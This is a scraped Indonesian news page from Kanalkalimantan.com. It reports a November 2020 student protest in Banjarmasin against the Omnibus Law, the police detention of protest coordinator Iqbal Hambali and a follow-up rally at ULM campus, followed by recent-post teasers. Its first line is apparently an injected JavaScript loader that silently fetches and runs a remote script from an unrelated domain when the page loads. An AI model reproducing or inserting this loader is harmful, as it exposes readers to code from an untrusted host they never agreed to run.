(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Korlap Ditangkap, Tak ‘Padamkan’ Perlawanan Mahasiswa Kalsel


KANALKALIMANTAN.COM,BANJARMASIN – Sempat jeda aksi pasca Iqbal Hambali, Korlap demo diamankan polisi, mahasiswa Kalsel kembali melanjutkan perjuangan menolak UU Omnibus Law Cipta Kerja, di depan Kampus Universitas Lambung Mangkurat (ULM) Banjarmasin, Rabu (5/11/2020) sore. Aksi ini berlanjut hingga pukul 18.00 Wita, yang merupakan batas akhir waktu penyampaian pendapat.

Aksi lanjutan yang digelar di depan ULM ini dipimpin oleh Muhammad Noralim, yang menggantikan posisi Iqbal yang saat ini masih diperiksa di Polresta Banjarmasin. Informasi yang diperoleh Kanalkalimantan.com, Iqbal sudah didampingi kuasa hukumnya dari Borneo Law Firm.

Dalam orasinya, Noralim mengatakan, bergesernya lokasi demo untuk menghindari kembali terjadinya gesekan antara polisi dengan mahasiswa. “Hasil rembukan bersama anggota BEM tetap melakukan aksi. Tetapi berkaca dari perlakuan pengamanan dalam aksi di depan gedung DPRD Banjarmasin, kami memutuskan pindah lokasi di depan kampus,” katanya.

Aksi lanjutan yang mulai deigelar pukul 17.30 Wita ini berakhir hingga pukul 18.15 Wita. Massa membubarkan diri, tapi Noralim menegaskan akan kembali menggelar demo lanjutan.

 

Sebelumnya, aksi penolakan Omnibus Law yang digelar mahasiswa Kalsel di Banjarmasin, Kamis (5/11/2020), diwarnai penangkapan peserta demo oleh polisi. Mahasiwa tersebut diketahui bernama Iqbal Hambali, dari Universitas Islam Negeri (UIN) Banjarmasin.

Penangkapan Iqbal yang juga sebagai Korlap aksi, dibenarkan rekannya Gusti Muhammad Thoriq kepada Kanalkalimantan.com. Thoriq mengatkan, rekannya ditangkap atas dugaan memprovokasi kericuhan dalam aksi. “Iya benar tadi satu orang diamankan oleh petugas,” ucapnya pada awak media.

Terkait kasus ini, Wakapolresta Banjarmasin AKBP Sabana Atmojo membenarkan adanya satu orang peserta aksi yang telah diamankan. “Satu orang kita amankan karena mengeluarkan kata-kata yang tidak senonoh kepada petugas. Tapi ini masih kita dalami dan diperiksa lebih lanjut,” ungkapnya.

Hasil pemeriksaan terhadap mahasiswa tersebut akan disandingkan dengan beberapa bukti lain berupa video dan foto saat di lapangan. “Para mahasiswa ini hanya tidak sabar menghadapi situasi, mereka memaksa ingin bertemu dewan untuk menyuarakan aspirasinya, tapi mungkin karena tidak ada agenda sehingga anggota dewan tidak bisa menemui mereka,” pungkasnya. (kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.